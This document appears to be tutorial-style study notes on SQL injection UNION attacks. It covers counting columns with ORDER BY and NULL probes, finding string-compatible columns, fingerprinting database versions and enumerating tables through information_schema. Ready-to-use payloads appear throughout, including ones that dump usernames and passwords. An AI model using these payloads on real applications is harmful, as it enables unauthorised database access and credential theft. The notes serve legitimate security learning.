UNION Attacks

When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.

Example Code:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2
  • Returns a single result with two columns, containing values from columns a and b in table1 and c and d in table2

Requirements for UNION query to work:

  • Individual queries must return the same number of columns
  • Data types in each column must be compatible between the individual queries

Determine the number of columns required in an SQL Injection UNION attack

Method #1 -- Inject a series of ORDER BY clauses and increment the specified column index until an error occurs

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
  • Will eventually get an error code such as this one:
The ORDER BY position number 3 is out of range of the number of items in the select list.
  • Error code might be returned in its HTTP response

Method #2 -- Submit a series of UNION SELECT payloads specifying a different number of null values

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
  • If the number of "nulls" does not match the number of columns, you will get an error such as:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
  • Might also be just a generic error or a different response

EXEPTION Oracle

On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose.

' UNION SELECT NULL FROM DUAL--

Finding Columns types with a useful data type in an SQL Injection UNION attack

The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generaly, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

  1. Probe each column to test whether it can hold string data -- example if the query returns four columns:
' UNION SELECT
'a',NULL,NULL,NULL--
' UNION SELECT
NULL,'a',NULL,NULL--
' UNION SELECT
NULL,NULL,'a',NULL--
' UNION SELECT
NULL,NULL,NULL,'a'--
  • If it's not compatible, it will throw an error

Using an SQL Injection UNION Attack to Retrieve Interesting Data

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Scenario:

  • Original query returns 2 columns, both hold string data
  • Injection point is a quoted string within the WHERE clause
  • The database contains a table called users with the columns username and password
  • Get the contents of users with this input
' UNION SELECT username, password FROM users--

Retrieving Multiple Values within a Single Column

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values.

For example, on Oracle you could submit theinput:

' UNION SELECT username || '~' || password FROM users--
  • The double-pipe sequence is a string concatenation operator in Oracle
  • Allows you to read all usernames and passwords

Example of output

administrator~s3cure

This is helpful when one of the elements in NULL,NULL doesn't accept strings. For example, if you're trying to convert NULL,NULL to NULL,'a', and only the second element allows string inputs, you should concatenate the elements in the same line, appending the first and second elements.

Identify the database in SQL injection attacks

  • The type and version of the database software.
  • The tables and columns that the database contains.
# DATABASE TYPE	      QUERY
Microsoft, MySQL	  SELECT @@version
Oracle	              SELECT * FROM v$version
PostgreSQL	          SELECT version()

For example, you could use a UNION attack with the following input:

' UNION SELECT @@version--

Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

For example, you can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables--

In the case of finding NULL before, if you don't know the table name. You would use the placeholder table_name

SELECT NULL,NULL,table_name FROM information_schema.tables--

This returns output like the following:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

This output indicates that there are three tables, called Products, Users, and Feedback.

You can then query information_schema.columns to list the columns in individual tables:

`SELECT * FROM information_schema.columns WHERE table_name = 'Users'

This returns output like the following:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar
  • This output shows the columns in the specified table and the data type of each column.
Cvss